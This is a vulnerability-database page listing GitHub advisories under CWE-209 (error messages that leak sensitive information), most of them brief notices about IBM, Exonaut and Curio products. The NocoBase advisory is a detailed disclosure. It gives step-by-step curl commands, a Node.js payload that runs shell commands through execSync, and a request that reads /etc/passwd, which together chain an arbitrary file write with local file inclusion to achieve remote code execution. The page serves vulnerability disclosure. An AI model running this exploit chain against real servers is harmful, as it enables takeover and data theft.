Common Weakness Enumeration

CWE-209

Allowed

Generation of Error Message Containing Sensitive Information

Abstraction: Base · Status: Draft

The product generates an error message that includes sensitive information about its environment, users, or associated data.

900 vulnerabilities reference this CWE, most recent first.

GHSA-GGQC-H44G-MR6X

Vulnerability from github – Published: 2023-12-01 21:30 – Updated: 2023-12-01 21:30

Details

IBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 266167.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-43021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-01T21:15:08Z",
    "severity": "MODERATE"
  },
  "details": "\nIBM InfoSphere Information Server 11.7 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. IBM X-Force ID: 266167.\n\n",
  "id": "GHSA-ggqc-h44g-mr6x",
  "modified": "2023-12-01T21:30:30Z",
  "published": "2023-12-01T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43021"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/266167"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7074317"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GHGP-42HG-J6P2

Vulnerability from github – Published: 2026-03-13 21:31 – Updated: 2026-03-13 21:31

Details

IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 could allow a remote attacker to obtain sensitive information when detailed technical error messages are returned. This information could be used in further attacks against the system.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-13726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-13T19:53:48Z",
    "severity": "MODERATE"
  },
  "details": "IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 could allow a remote attacker to obtain sensitive information when detailed technical error messages are returned. This information could be used in further attacks against the system.",
  "id": "GHSA-ghgp-42hg-j6p2",
  "modified": "2026-03-13T21:31:45Z",
  "published": "2026-03-13T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13726"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7263391"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GHVF-QF6H-G8X5

Vulnerability from github – Published: 2026-08-20 18:42 – Updated: 2026-08-20 18:42

Summary

NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution

Details

Executive Summary

Two vulnerabilities were identified and chained to achieve authenticated remote code execution

The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized documentRoot value to the storages:update API. The second vulnerability allows the same admin to trigger Node.js require() on any absolute filesystem path via the pm:enable plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).

Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.

A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.

VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation

Summary

The file-manager plugin's storage update endpoint accepts an arbitrary documentRoot value without validation. An authenticated admin can overwrite a storage record's documentRoot to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths.

Vulnerable Components

packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts | getDocumentRoot() L24–27 | packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts | createMiddleware() Server route: POST /api/storages:update Server route: POST /api/attachments:upload

Root Cause

getDocumentRoot() resolves the documentRoot field from the storage record:

// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts
const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } =
  this.storage.options || {};

return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));

resolveSafePath() is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) documentRoot as its safe root. There is no validation on the documentRoot value itself at creation or update time. An admin can set documentRoot to any path (/, /etc, /var/www/html, the app root) and the upload will write there.

The creation endpoint (storages:create) also accepts arbitrary documentRoot, but the update endpoint is worse: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.

Steps to Reproduce

Prerequisites: Admin session token.

Step 1 Get the local storage ID:

curl -s "http://192.168.228.130:13000/api/storages" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"

Storage ID on this target: 366584416632832

Step 2 Create the RCE payload:

cat > /tmp/rce_proof.js << 'EOF'
const { execSync } = require('child_process');
const fs = require('fs');
const out = execSync('id; whoami; hostname').toString();
fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out);
module.exports = {};
EOF

Step 3 Redirect storage documentRoot to app CWD:

curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
  -H "Content-Type: application/json" \
  -d '{"options":{"documentRoot":"."},"default":true}'

Step 4 upload the RCE payload:

The payload writes output to the NocoBase uploads directory, which is served statically on port 13000

curl -s -X POST "http://192.168.228.130:13000/api/attachments:upload" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
  -F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript"

Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below

VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call

Overview

pm:enable passes filterByTk directly to require() with no path validation. This is a standalone LFI primitive with two modes:

Non-JS files (e.g. /etc/passwd): Node.js parses them as JavaScript, fails with a SyntaxError that embeds the file content in the error message. That error is written to system_error_YYYY-MM-DD.log and is downloadable via logger:download giving an attacker blind/error-based file read.
JS files (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01.

Root Cause

The enable action takes filterByTk from query params and passes it directly to the CLI runner with zero validation:

// packages/core/server/src/plugin-manager/options/resource.ts  L141-151
async enable(ctx, next) {
  const { filterByTk } = ctx.action.params;   // ← raw user input
  if (!filterByTk) {
    ctx.throw(400, 'plugin name invalid');
  }
  const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];
  app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' });  // ← no sanitization
  ctx.body = filterByTk;
  await next();
},

The CLI handler calls requireModule(key):

// packages/core/utils/src/requireModule.ts
export function requireModule(m: any) {
  if (typeof m === 'string') {
    m = require(m);   // ← arbitrary file executed as Node.js module
  }
  if (typeof m !== 'object') { return m; }
  return m.__esModule ? m.default : m;
}

assertSafePluginPackageName() exists in the codebase (validates against absolute paths and ..) but is never invoked in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → require().

Steps to Reproduce Error-Based File Read (Standalone)

Step 1 Trigger require() on any file:

curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd" \
  -H "Authorization: Bearer TOKEN"
# Response: {"data":"/etc/passwd"} — 200 OK

Node.js attempts to parse /etc/passwd as a JavaScript module. It fails at the first : character with:

and we see the error message after sending the request:

Step 2 navigate to the logger and download the system error log

now when we extract the .tar file we can see proof of local file inclusion (partial in this response):

Remote code execution

With our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it

curl -s "http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"

Retrieve output via NocoBase static file serving

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-434",
      "CWE-73",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:42:21Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Executive Summary\n\nTwo vulnerabilities were identified and chained to achieve authenticated remote code execution\n\nThe first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk  including the application directory itself  by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).\n\nChained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.\n\nA working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.\n\n\n## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation\n\n### Summary\n\nThe file-manager plugin\u0027s storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record\u0027s `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write  including the web root, the application source directory, or system paths.\n\n### Vulnerable Components\n\n`packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24\u201327 |\n`packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` \nServer route: `POST /api/storages:update` \nServer route: `POST /api/attachments:upload` \n\n### Root Cause\n\n`getDocumentRoot()` resolves the `documentRoot` field from the storage record:\n\n```javascript\n// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts\nconst { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), \u0027storage\u0027, \u0027uploads\u0027) } =\n  this.storage.options || {};\n\nreturn path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));\n```\n\n`resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there.\n\nThe creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.\n\n### Steps to Reproduce\n\n**Prerequisites:** Admin session token.\n\n\n**Step 1  Get the local storage ID:**\n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/storages\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nStorage ID on this target: `366584416632832`\n\n\n**Step 2  Create the RCE payload:**\n\n```bash\ncat \u003e /tmp/rce_proof.js \u003c\u003c \u0027EOF\u0027\nconst { execSync } = require(\u0027child_process\u0027);\nconst fs = require(\u0027fs\u0027);\nconst out = execSync(\u0027id; whoami; hostname\u0027).toString();\nfs.writeFileSync(\u0027/home/spooky/nocobase/storage/uploads/out.txt\u0027, out);\nmodule.exports = {};\nEOF\n\n```\n**Step 3  Redirect storage documentRoot to app CWD:**\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"options\":{\"documentRoot\":\".\"},\"default\":true}\u0027\n```\n\u003cimg width=\"826\" height=\"304\" alt=\"image\" src=\"https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66\" /\u003e\n\n**Step 4  upload the RCE payload:**\n\nThe payload writes output to the NocoBase uploads directory, which is served statically on port 13000\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/attachments:upload\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -F \"file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript\"\n```\n\n\u003cimg width=\"826\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72\" /\u003e\n\n\n**Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below**\n\n## VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call\n\n### Overview\n`pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes:\n\n- **Non-JS files** (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read.\n- **JS files** (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process  RCE. This is the second stage of the chain with VULN-01.\n\n### Root Cause\n\nThe `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation:\n\n```typescript\n// packages/core/server/src/plugin-manager/options/resource.ts  L141-151\nasync enable(ctx, next) {\n  const { filterByTk } = ctx.action.params;   // \u2190 raw user input\n  if (!filterByTk) {\n    ctx.throw(400, \u0027plugin name invalid\u0027);\n  }\n  const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];\n  app.runAsCLI([\u0027pm\u0027, \u0027enable\u0027, ...keys], { from: \u0027user\u0027 });  // \u2190 no sanitization\n  ctx.body = filterByTk;\n  await next();\n},\n```\n\nThe CLI handler calls `requireModule(key)`:\n\n```typescript\n// packages/core/utils/src/requireModule.ts\nexport function requireModule(m: any) {\n  if (typeof m === \u0027string\u0027) {\n    m = require(m);   // \u2190 arbitrary file executed as Node.js module\n  }\n  if (typeof m !== \u0027object\u0027) { return m; }\n  return m.__esModule ? m.default : m;\n}\n```\n\n`assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is **never invoked** in the HTTP action path \u2014 only in storage directory helpers. The HTTP handler goes straight from user input \u2192 `require()`.\n\n### Steps to Reproduce Error-Based File Read (Standalone)\n\n**Step 1  Trigger require() on any file:**\n\n```bash\ncurl -s \"http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd\" \\\n  -H \"Authorization: Bearer TOKEN\"\n# Response: {\"data\":\"/etc/passwd\"} \u2014 200 OK\n```\nNode.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with:\n\n\u003cimg width=\"2064\" height=\"530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8\" /\u003e\n\nand we see the error message after sending the request:\n\n\u003cimg width=\"1036\" height=\"380\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400\" /\u003e\n\n**Step 2 navigate to the logger and download the system error log**\n\n\u003cimg width=\"1142\" height=\"720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d\" /\u003e\n\n\nnow when we extract the .tar file we can see proof of local file inclusion (partial in this response):\n\n\u003cimg width=\"1264\" height=\"268\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f90ee8b-16d2-4bbf-8308-29ed80330ec8\" /\u003e\n\n## Remote code execution\n\nWith our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it \n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nRetrieve output via NocoBase static file serving\n\n\u003cimg width=\"832\" height=\"214\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ed60982-fc93-48f0-8b34-4bae0412ced2\" /\u003e\n\n\u003cimg width=\"810\" height=\"96\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15241236-2701-4488-a9a9-a504c9505562\" /\u003e",
  "id": "GHSA-ghvf-qf6h-g8x5",
  "modified": "2026-08-20T18:42:21Z",
  "published": "2026-08-20T18:42:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-ghvf-qf6h-g8x5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9628"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9701"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/7c9ffe1427a529d62576b83c35222ba7ef9b8d11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/a89e5a999b608bcb4ec67a845e924af0fb58a7c7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution"
}

GHSA-GJ6X-Q8RH-WJ6X

Vulnerability from github – Published: 2026-02-26 22:48 – Updated: 2026-02-26 22:48

Summary

Curio exposes database credentials to users with network access through verbose HTTP error responses

Details

Summary

Multiple HTTP handlers in Curio passed raw database error messages to HTTP clients via http.Error(). When the PostgreSQL/YugabyteDB driver (pgx) returned errors, these could contain the database connection string — including hostname, port, username, and password. Additionally, the internal connection string was constructed with the plaintext password embedded in the URL, which was also included in startup error messages and could surface in logs.

Details

Three components were affected:

PDP handlers (pdp/handlers.go) — 18+ HTTP error paths passed err.Error() directly to HTTP responses. While these endpoints require ECDSA JWT authentication, an authenticated client (e.g., a FilPay service) that triggered a database error would receive the raw pgx error in the HTTP response body. Present since PDP was introduced in v1.25.1.
Market mk12 deal status (market/mk12/mk12_utils.go) — The GetDealStatus handler included err.Error() in error responses: "failed to query the db for deal status: %s". Present since v1.24.3.
Market mk20 auth middleware (market/mk20/http/http.go) — Authentication error responses included err.Error(), potentially leaking database error details during auth flows. Present since v1.27.2.

Root Cause

The database connection string was constructed as:

postgresql://username:password@host:port/database?...

The plaintext password was embedded directly in the URL. When pgx returned connection or query errors, the error text could contain fragments of this connection string. HTTP handlers forwarded these errors verbatim to clients.

Impact

An attacker with network access to Curio's PDP or Market HTTP endpoints and valid authentication credentials could intentionally trigger database errors (e.g., by sending malformed requests that cause SQL failures) and extract the YugabyteDB connection credentials from the error response. With these credentials, the attacker could directly access the database, which serves as Curio's control plane.

Per Curio's security boundary documentation, these endpoints are expected to be on a trusted network. However, defense-in-depth requires that credentials are never exposed through HTTP responses regardless of network trust assumptions.

Remediation (PR #919)

Connection string password masking: The password in the connection string is replaced with ********. The real password is set separately via cfg.ConnConfig.Password, so it never appears in error messages or logs.
HTTP handler sanitization: All affected handlers now log the detailed error server-side and return a generic error message to the HTTP client.
Error filter (errFilter): A new function in the database layer detects and redacts any error messages containing keywords like "password", "host", "port", or "://" before they can propagate.
Prometheus metrics cleanup: Database connection metrics that could expose connection details were removed from the metrics endpoint.
Security boundary documentation: A new section documents what Curio expects operators to secure.

Resources

Fix: https://github.com/filecoin-project/curio/pull/919
Patched release: v1.27.3-rc2

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.27.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filecoin-project/curio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.24.3"
            },
            {
              "fixed": "1.27.3-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-532"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:48:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMultiple HTTP handlers in Curio passed raw database error messages to HTTP clients via `http.Error()`. When the PostgreSQL/YugabyteDB driver (pgx) returned errors, these could contain the database connection string \u2014 including hostname, port, username, and password. Additionally, the internal connection string was constructed with the plaintext password embedded in the URL, which was also included in startup error messages and could surface in logs.\n\n## Details\n\nThree components were affected:\n\n1. **PDP handlers** (`pdp/handlers.go`) \u2014 18+ HTTP error paths passed `err.Error()` directly to HTTP responses. While these endpoints require ECDSA JWT authentication, an authenticated client (e.g., a FilPay service) that triggered a database error would receive the raw pgx error in the HTTP response body. Present since PDP was introduced in v1.25.1.\n\n2. **Market mk12 deal status** (`market/mk12/mk12_utils.go`) \u2014 The `GetDealStatus` handler included `err.Error()` in error responses: `\"failed to query the db for deal status: %s\"`. Present since v1.24.3.\n\n3. **Market mk20 auth middleware** (`market/mk20/http/http.go`) \u2014 Authentication error responses included `err.Error()`, potentially leaking database error details during auth flows. Present since v1.27.2.\n\n### Root Cause\n\nThe database connection string was constructed as:\n```\npostgresql://username:password@host:port/database?...\n```\nThe plaintext password was embedded directly in the URL. When pgx returned connection or query errors, the error text could contain fragments of this connection string. HTTP handlers forwarded these errors verbatim to clients.\n\n## Impact\n\nAn attacker with network access to Curio\u0027s PDP or Market HTTP endpoints and valid authentication credentials could intentionally trigger database errors (e.g., by sending malformed requests that cause SQL failures) and extract the YugabyteDB connection credentials from the error response. With these credentials, the attacker could directly access the database, which serves as Curio\u0027s control plane.\n\nPer Curio\u0027s [security boundary documentation](https://github.com/filecoin-project/curio/blob/main/documentation/en/design/README.md#security-boundary), these endpoints are expected to be on a trusted network. However, defense-in-depth requires that credentials are never exposed through HTTP responses regardless of network trust assumptions.\n\n## Remediation (PR #919)\n\n1. **Connection string password masking:** The password in the connection string is replaced with `********`. The real password is set separately via `cfg.ConnConfig.Password`, so it never appears in error messages or logs.\n\n2. **HTTP handler sanitization:** All affected handlers now log the detailed error server-side and return a generic error message to the HTTP client.\n\n3. **Error filter (`errFilter`):** A new function in the database layer detects and redacts any error messages containing keywords like \"password\", \"host\", \"port\", or \"://\" before they can propagate.\n\n4. **Prometheus metrics cleanup:** Database connection metrics that could expose connection details were removed from the metrics endpoint.\n\n5. **Security boundary documentation:** A new section documents what Curio expects operators to secure.\n\n## Resources\n\n- Fix: https://github.com/filecoin-project/curio/pull/919\n- Patched release: v1.27.3-rc2",
  "id": "GHSA-gj6x-q8rh-wj6x",
  "modified": "2026-02-26T22:48:00Z",
  "published": "2026-02-26T22:48:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filecoin-project/curio/security/advisories/GHSA-gj6x-q8rh-wj6x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filecoin-project/curio/pull/919"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filecoin-project/curio/commit/551da78e0123892600d8e6dfe9de7a579055d80b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filecoin-project/curio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filecoin-project/curio/blob/main/documentation/en/design/README.md#security-boundary"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Curio exposes database credentials to users with network access through verbose HTTP error responses"
}

GHSA-GJ7G-W5GQ-HW2H

Vulnerability from github – Published: 2026-03-25 21:30 – Updated: 2026-03-25 21:30

Details

IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 is affected by an information exposure vulnerability caused by overly verbose error messages

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-2484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T21:16:41Z",
    "severity": "MODERATE"
  },
  "details": "IBM InfoSphere Information Server\u00a011.7.0.0 through\u00a011.7.1.6\u00a0is affected by an information exposure vulnerability caused by overly verbose error messages",
  "id": "GHSA-gj7g-w5gq-hw2h",
  "modified": "2026-03-25T21:30:36Z",
  "published": "2026-03-25T21:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2484"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7266767"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GM5J-3328-742C

Vulnerability from github – Published: 2025-08-05 18:30 – Updated: 2025-08-05 18:30

Details

An issue was discovered in ExonautWeb in 4C Strategies Exonaut 21.6. There are verbose error messages.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-46658"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-05T16:15:29Z",
    "severity": "CRITICAL"
  },
